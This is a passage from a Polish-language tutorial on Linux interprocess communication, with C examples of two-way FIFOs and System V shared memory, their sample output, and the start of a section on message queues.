Przyjrzyjmy się teraz przykładowemu kodowi serwera FIFO.
/* Filename: fifoserver_twoway.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "/tmp/fifo_twoway"
void reverse_string(char *);
int main() {
int fd;
char readbuf[80];
char end[10];
int to_end;
int read_bytes;
/* Create the FIFO if it does not exist */
mkfifo(FIFO_FILE, S_IFIFO|0640);
strcpy(end, "end");
fd = open(FIFO_FILE, O_RDWR);
while(1) {
read_bytes = read(fd, readbuf, sizeof(readbuf));
readbuf[read_bytes] = '\0';
printf("FIFOSERVER: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
to_end = strcmp(readbuf, end);
if (to_end == 0) {
close(fd);
break;
}
reverse_string(readbuf);
printf("FIFOSERVER: Sending Reversed String: \"%s\" and length is %d\n", readbuf, (int) strlen(readbuf));
write(fd, readbuf, strlen(readbuf));
/*
sleep - This is to make sure other process reads this, otherwise this
process would retrieve the message
*/
sleep(2);
}
return 0;
}
void reverse_string(char *str) {
int last, limit, first;
char temp;
last = strlen(str) - 1;
limit = last/2;
first = 0;
while (first < last) {
temp = str[first];
str[first] = str[last];
str[last] = temp;
first++;
last--;
}
return;
}
Kroki kompilacji i wykonywania
FIFOSERVER: Received string: "LINUX IPCs" and length is 10
FIFOSERVER: Sending Reversed String: "sCPI XUNIL" and length is 10
FIFOSERVER: Received string: "Inter Process Communication" and length is 27
FIFOSERVER: Sending Reversed String: "noitacinummoC ssecorP retnI" and length is 27
FIFOSERVER: Received string: "end" and length is 3
Przyjrzyjmy się teraz przykładowemu kodowi klienta FIFO.
/* Filename: fifoclient_twoway.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "/tmp/fifo_twoway"
int main() {
int fd;
int end_process;
int stringlen;
int read_bytes;
char readbuf[80];
char end_str[5];
printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n");
fd = open(FIFO_FILE, O_CREAT|O_RDWR);
strcpy(end_str, "end");
while (1) {
printf("Enter string: ");
fgets(readbuf, sizeof(readbuf), stdin);
stringlen = strlen(readbuf);
readbuf[stringlen - 1] = '\0';
end_process = strcmp(readbuf, end_str);
//printf("end_process is %d\n", end_process);
if (end_process != 0) {
write(fd, readbuf, strlen(readbuf));
printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
read_bytes = read(fd, readbuf, sizeof(readbuf));
readbuf[read_bytes] = '\0';
printf("FIFOCLIENT: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
} else {
write(fd, readbuf, strlen(readbuf));
printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
close(fd);
break;
}
}
return 0;
}
Kroki kompilacji i wykonywania
FIFO_CLIENT: Send messages, infinitely, to end enter "end"
Enter string: LINUX IPCs
FIFOCLIENT: Sent string: "LINUX IPCs" and string length is 10
FIFOCLIENT: Received string: "sCPI XUNIL" and length is 10
Enter string: Inter Process Communication
FIFOCLIENT: Sent string: "Inter Process Communication" and string length is 27
FIFOCLIENT: Received string: "noitacinummoC ssecorP retnI" and length is 27
Enter string: end
FIFOCLIENT: Sent string: "end" and string length is 3
Pamięć współdzielona to pamięć współdzielona przez dwa lub więcej procesów. Dlaczego jednak musimy dzielić się pamięcią lub innymi środkami komunikacji?
Powtarzam, każdy proces ma własną przestrzeń adresową, jeśli jakikolwiek proces chce przekazać pewne informacje z własnej przestrzeni adresowej do innych procesów, jest to możliwe tylko dzięki technikom IPC (komunikacja między procesami). Jak już wiemy, komunikacja może odbywać się między powiązanymi lub niepowiązanymi procesami.
Zwykle komunikacja między powiązanymi procesami odbywa się za pomocą potoków lub potoków nazwanych. Niepowiązane procesy (powiedzmy, że jeden proces działa w jednym terminalu, a inny proces w innym terminalu), komunikacja może być realizowana przy użyciu nazwanych potoków lub popularnych technik IPC pamięci współdzielonej i kolejek wiadomości.
Widzieliśmy techniki IPC potoków i nazwanych potoków, a teraz nadszedł czas, aby poznać pozostałe techniki IPC, a mianowicie pamięć współdzieloną, kolejki wiadomości, semafory, sygnały i mapowanie pamięci.
W tym rozdziale dowiemy się wszystkiego o pamięci współdzielonej.
Wiemy, że do komunikacji między dwoma lub więcej procesami używamy pamięci współdzielonej, ale zanim użyjemy pamięci współdzielonej, co należy zrobić z wywołaniami systemowymi, zobaczmy to -
Utwórz segment pamięci współdzielonej lub użyj już utworzonego segmentu pamięci współdzielonej (shmget ())
Dołącz proces do już utworzonego segmentu pamięci współdzielonej (shmat ())
Odłącz proces od już dołączonego segmentu pamięci współdzielonej (shmdt ())
Sterowanie operacjami na segmencie pamięci współdzielonej (shmctl ())
Przyjrzyjmy się kilku szczegółom wywołań systemowych związanych z pamięcią współdzieloną.
#include <sys/ipc.h>
#include <sys/shm.h>
int shmget(key_t key, size_t size, int shmflg)
Powyższe wywołanie systemowe tworzy lub przydziela segment pamięci współdzielonej Systemu V. Argumenty, które należy przekazać, są następujące -
Plik first argument, key,rozpoznaje segment pamięci współdzielonej. Klucz może być dowolną wartością lub taką, która może pochodzić z funkcji bibliotecznej ftok (). Kluczem może być także IPC_PRIVATE, czyli uruchamianie procesów jako serwer i klient (relacja nadrzędna i potomna), tj. Wzajemna komunikacja procesów. Jeśli klient chce korzystać z pamięci współdzielonej z tym kluczem, musi to być proces potomny serwera. Ponadto proces potomny musi zostać utworzony po uzyskaniu przez rodzica pamięci współdzielonej.
Plik second argument, size, to rozmiar segmentu pamięci współdzielonej zaokrąglony do wielokrotności PAGE_SIZE.
Plik third argument, shmflg,określa wymagane flagi pamięci współdzielonej, takie jak IPC_CREAT (tworzenie nowego segmentu) lub IPC_EXCL (używane z IPC_CREAT do tworzenia nowego segmentu i wywołanie kończy się niepowodzeniem, jeśli segment już istnieje). Musisz również przekazać uprawnienia.
Note - Zapoznaj się z wcześniejszymi sekcjami, aby uzyskać szczegółowe informacje na temat uprawnień.
To wywołanie zwróci prawidłowy identyfikator pamięci współdzielonej (używany do dalszych wywołań pamięci współdzielonej) w przypadku sukcesu i -1 w przypadku niepowodzenia. Aby poznać przyczynę niepowodzenia, sprawdź zmienną errno lub funkcją perror ().
#include <sys/types.h>
#include <sys/shm.h>
void * shmat(int shmid, const void *shmaddr, int shmflg)
Powyższe wywołanie systemowe wykonuje operację pamięci współdzielonej dla segmentu pamięci współdzielonej Systemu V, tj. Dołącza segment pamięci współdzielonej do przestrzeni adresowej procesu wywołującego. Argumenty, które należy przekazać, są następujące -
The first argument, shmid,jest identyfikatorem segmentu pamięci współdzielonej. Ten identyfikator jest identyfikatorem pamięci współdzielonej, który jest wartością zwracaną przez wywołanie systemowe shmget ().
The second argument, shmaddr,jest określenie adresu dołączania. Jeśli shmaddr ma wartość NULL, system domyślnie wybiera odpowiedni adres do dołączenia segmentu. Jeśli shmaddr nie ma wartości NULL, a SHM_RND jest określone w shmflg, dołączenie jest równe adresowi najbliższej wielokrotności SHMLBA (Lower Boundary Address). W przeciwnym razie shmaddr musi być adresem wyrównanym do strony, pod którym występuje / uruchamia się załącznik pamięci współdzielonej.
The third argument, shmflg, określa wymagane flagi pamięci współdzielonej, takie jak SHM_RND (zaokrąglanie adresu do SHMLBA) lub SHM_EXEC (umożliwia wykonanie zawartości segmentu) lub SHM_RDONLY (dołącza segment tylko do odczytu, domyślnie jest do odczytu i zapisu) lub SHM_REMAP (zastępuje istniejące mapowanie w zakresie określonym przez shmaddr i kontynuuje do końca segmentu).
To wywołanie zwróci adres dołączonego segmentu pamięci współdzielonej w przypadku sukcesu i -1 w przypadku niepowodzenia. Aby poznać przyczynę niepowodzenia, sprawdź zmienną errno lub funkcją perror ().
#include <sys/types.h>
#include <sys/shm.h>
int shmdt(const void *shmaddr)
Powyższe wywołanie systemowe wykonuje operację pamięci współdzielonej dla segmentu pamięci współdzielonej Systemu V polegającą na odłączeniu segmentu pamięci współdzielonej z przestrzeni adresowej procesu wywołującego. Argument, który należy przekazać, to -
Argument, shmaddr, jest adresem segmentu pamięci współdzielonej, który ma zostać odłączony. Segment, który ma zostać odłączony, musi być adresem zwróconym przez wywołanie systemowe shmat ().
To wywołanie zwróci 0 w przypadku sukcesu i -1 w przypadku niepowodzenia. Aby poznać przyczynę niepowodzenia, sprawdź zmienną errno lub funkcją perror ().
#include <sys/ipc.h>
#include <sys/shm.h>
int shmctl(int shmid, int cmd, struct shmid_ds *buf)
Powyższe wywołanie systemowe wykonuje operację sterującą dla segmentu pamięci współdzielonej Systemu V. Należy przekazać następujące argumenty -
Pierwszy argument, shmid, jest identyfikatorem segmentu pamięci współdzielonej. Ten identyfikator jest identyfikatorem pamięci współdzielonej, który jest wartością zwracaną przez wywołanie systemowe shmget ().
Drugi argument, cmd, to polecenie wykonania wymaganej operacji kontrolnej na segmencie pamięci współdzielonej.
Prawidłowe wartości cmd to -
IPC_STAT- Kopiuje informacje o bieżących wartościach każdego elementu struktury shmid_ds do przekazanej struktury wskazywanej przez buf. To polecenie wymaga uprawnień do odczytu segmentu pamięci współdzielonej.
IPC_SET - Ustawia identyfikator użytkownika, identyfikator grupy właściciela, uprawnienia itp. Wskazywane przez strukturę buf.
IPC_RMID- Zaznacza segment do zniszczenia. Segment jest niszczony dopiero po odłączeniu go przez ostatni proces.
IPC_INFO - Zwraca informacje o limitach i parametrach pamięci współdzielonej w strukturze wskazywanej przez buf.
SHM_INFO - Zwraca strukturę shm_info zawierającą informacje o zużytych zasobach systemowych przez pamięć współdzieloną.
Trzeci argument, buf, jest wskaźnikiem do struktury pamięci współdzielonej o nazwie struct shmid_ds. Wartości tej struktury będą używane do ustawiania lub pobierania zgodnie z cmd.
To wywołanie zwraca wartość zależną od przekazanego polecenia. Po pomyślnym wykonaniu IPC_INFO i SHM_INFO lub SHM_STAT zwraca indeks lub identyfikator segmentu pamięci współdzielonej lub 0 dla innych operacji i -1 w przypadku niepowodzenia. Aby poznać przyczynę niepowodzenia, sprawdź zmienną errno lub funkcją perror ().
Rozważmy następujący przykładowy program.
Utwórz dwa procesy, jeden do zapisu w pamięci współdzielonej (shm_write.c), a drugi do odczytu z pamięci współdzielonej (shm_read.c)
Program wykonuje zapis do pamięci współdzielonej przez proces zapisu (shm_write.c) i odczyt z pamięci współdzielonej poprzez proces odczytu (shm_read.c)
W pamięci współdzielonej w trakcie procesu zapisu tworzona jest pamięć współdzielona o rozmiarze 1K (i flagi) i dołączana jest pamięć współdzielona
Proces zapisu zapisuje 5-krotność alfabetów od „A” do „E”, każdy z 1023 bajtów do pamięci współdzielonej. Ostatni bajt oznacza koniec bufora
Proces odczytu czyta z pamięci współdzielonej i zapisuje na standardowe wyjście
Czynności procesu czytania i pisania są wykonywane jednocześnie
Po zakończeniu zapisu proces zapisu aktualizuje się, aby wskazać zakończenie zapisu do pamięci współdzielonej (z pełną zmienną w struct shmseg)
Proces odczytu wykonuje odczyt z pamięci współdzielonej i wyświetla na wyjściu, aż otrzyma informację o zakończeniu procesu zapisu (pełna zmienna w struct shmseg)
Wykonuje proces czytania i pisania kilka razy dla uproszczenia, a także w celu uniknięcia nieskończonych pętli i komplikacji programu
Poniżej znajduje się kod procesu zapisu (zapis do pamięci współdzielonej - plik: shm_write.c)
/* Filename: shm_write.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define BUF_SIZE 1024
#define SHM_KEY 0x1234
struct shmseg {
int cnt;
int complete;
char buf[BUF_SIZE];
};
int fill_buffer(char * bufptr, int size);
int main(int argc, char *argv[]) {
int shmid, numtimes;
struct shmseg *shmp;
char *bufptr;
int spaceavailable;
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
/* Transfer blocks of data from buffer to shared memory */
bufptr = shmp->buf;
spaceavailable = BUF_SIZE;
for (numtimes = 0; numtimes < 5; numtimes++) {
shmp->cnt = fill_buffer(bufptr, spaceavailable);
shmp->complete = 0;
printf("Writing Process: Shared Memory Write: Wrote %d bytes\n", shmp->cnt);
bufptr = shmp->buf;
spaceavailable = BUF_SIZE;
sleep(3);
}
printf("Writing Process: Wrote %d times\n", numtimes);
shmp->complete = 1;
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
if (shmctl(shmid, IPC_RMID, 0) == -1) {
perror("shmctl");
return 1;
}
printf("Writing Process: Complete\n");
return 0;
}
int fill_buffer(char * bufptr, int size) {
static char ch = 'A';
int filled_count;
//printf("size is %d\n", size);
memset(bufptr, ch, size - 1);
bufptr[size-1] = '\0';
if (ch > 122)
ch = 65;
if ( (ch >= 65) && (ch <= 122) ) {
if ( (ch >= 91) && (ch <= 96) ) {
ch = 65;
}
}
filled_count = strlen(bufptr);
//printf("buffer count is: %d\n", filled_count);
//printf("buffer filled is:%s\n", bufptr);
ch++;
return filled_count;
}
Kroki kompilacji i wykonywania
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Wrote 5 times
Writing Process: Complete
Poniżej znajduje się kod procesu odczytu (odczyt z pamięci współdzielonej i zapis na standardowe wyjście - plik: shm_read.c)
/* Filename: shm_read.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#define BUF_SIZE 1024
#define SHM_KEY 0x1234
struct shmseg {
int cnt;
int complete;
char buf[BUF_SIZE];
};
int main(int argc, char *argv[]) {
int shmid;
struct shmseg *shmp;
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
/* Transfer blocks of data from shared memory to stdout*/
while (shmp->complete != 1) {
printf("segment contains : \n\"%s\"\n", shmp->buf);
if (shmp->cnt == -1) {
perror("read");
return 1;
}
printf("Reading Process: Shared Memory: Read %d bytes\n", shmp->cnt);
sleep(3);
}
printf("Reading Process: Reading Done, Detaching Shared Memory\n");
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
printf("Reading Process: Complete\n");
return 0;
}
Kroki kompilacji i wykonywania
segment contains :
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
Reading Process: Shared Memory: Read 1023 bytes
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete
Po co nam kolejki wiadomości, skoro mamy już pamięć współdzieloną? Byłoby to z wielu powodów, spróbujmy podzielić to na kilka punktów dla uproszczenia -
Jak rozumiem, po odebraniu wiadomości przez proces nie będzie ona już dostępna dla żadnego innego procesu. Podczas gdy w pamięci współdzielonej dane są dostępne dla wielu procesów.
Jeśli chcemy komunikować się za pomocą małych formatów wiadomości.
Dane w pamięci współdzielonej muszą być chronione przez synchronizację, gdy wiele procesów komunikuje się w tym samym czasie.
Częstotliwość zapisywania i odczytywania danych przy użyciu pamięci współdzielonej jest wysoka, więc wdrożenie tej funkcjonalności byłoby bardzo skomplikowane. Nie warto ze względu na wykorzystanie w tego typu przypadkach.
Co by było, gdyby wszystkie procesy nie miały dostępu do pamięci współdzielonej, a bardzo niewiele procesów tego potrzebowało, byłoby lepiej zaimplementować je z kolejkami komunikatów.
Jeśli chcemy komunikować się z różnymi pakietami danych, powiedzmy, że proces A wysyła komunikat typu 1 do procesu B, komunikat typu 10 do procesu C i komunikat typu 20 do przetwarzania D. W tym przypadku łatwiej jest zaimplementować z kolejkami komunikatów. Aby uprościć podany typ wiadomości jako 1, 10, 20, może to być 0 lub + ve lub –ve, jak omówiono poniżej.
Oczywiście kolejność w kolejce komunikatów to FIFO (First In First Out). Pierwsza wiadomość wstawiona do kolejki jest pierwszą odebraną.
Korzystanie z pamięci współdzielonej lub kolejek wiadomości zależy od potrzeb aplikacji i tego, jak efektywnie można ją wykorzystać.
Komunikacja przy użyciu kolejek wiadomości może odbywać się na następujące sposoby -
Zapisywanie do pamięci współdzielonej przez jeden proces i czytanie z pamięci współdzielonej przez inny proces. Jak wiemy, czytanie może odbywać się również za pomocą wielu procesów.
Zapis do pamięci współdzielonej przez jeden proces z różnymi pakietami danych i odczyt z niej przez wiele procesów, tj. Zgodnie z typem wiadomości.
Po zapoznaniu się z pewnymi informacjami o kolejkach komunikatów nadszedł czas, aby sprawdzić wywołanie systemowe (System V), które obsługuje kolejki komunikatów.
Aby wykonać komunikację przy użyciu kolejek wiadomości, wykonaj następujące czynności:
Step 1 - Utwórz kolejkę wiadomości lub połącz się z już istniejącą kolejką wiadomości (msgget ())
Step 2 - Zapisz do kolejki wiadomości (msgsnd ())
Step 3 - Odczyt z kolejki wiadomości (msgrcv ())
Step 4 - Wykonaj operacje kontrolne na kolejce komunikatów (msgctl ())
Sprawdźmy teraz składnię i pewne informacje na temat powyższych wywołań.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgget(key_t key, int msgflg)
To wywołanie systemowe tworzy lub przydziela kolejkę komunikatów System V. Należy przekazać następujące argumenty -
Pierwszy argument, klucz, rozpoznaje kolejkę komunikatów. Klucz może być dowolną wartością lub taką, która może pochodzić z funkcji bibliotecznej ftok ().
Drugi argument, shmflg, określa wymagane flagi kolejki komunikatów, takie jak IPC_CREAT (tworzenie kolejki komunikatów, jeśli nie istnieje) lub IPC_EXCL (używany z IPC_CREAT do tworzenia kolejki komunikatów i wywołanie kończy się niepowodzeniem, jeśli kolejka komunikatów już istnieje). Musisz również przekazać uprawnienia.
Note - Zapoznaj się z wcześniejszymi sekcjami, aby uzyskać szczegółowe informacje na temat uprawnień.
To wywołanie zwróci prawidłowy identyfikator kolejki komunikatów (używany do dalszych wywołań kolejki komunikatów) po pomyślnym zakończeniu i -1 w przypadku niepowodzenia. Aby poznać przyczynę niepowodzenia, sprawdź zmienną errno lub funkcją perror ().
Różne błędy związane z tym wywołaniem to EACCESS (odmowa uprawnień), EEXIST (kolejka już istnieje, nie można utworzyć), ENOENT (kolejka nie istnieje), ENOMEM (za mało pamięci do utworzenia kolejki) itp.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgsnd(int msgid, const void *msgp, size_t msgsz, int msgflg)
To wywołanie systemowe wysyła / dołącza komunikat do kolejki komunikatów (System V). Należy przekazać następujące argumenty -
Pierwszy argument, msgid, rozpoznaje kolejkę komunikatów, tj. Identyfikator kolejki komunikatów. Wartość identyfikatora jest otrzymywana po pomyślnym wykonaniu msgget ()
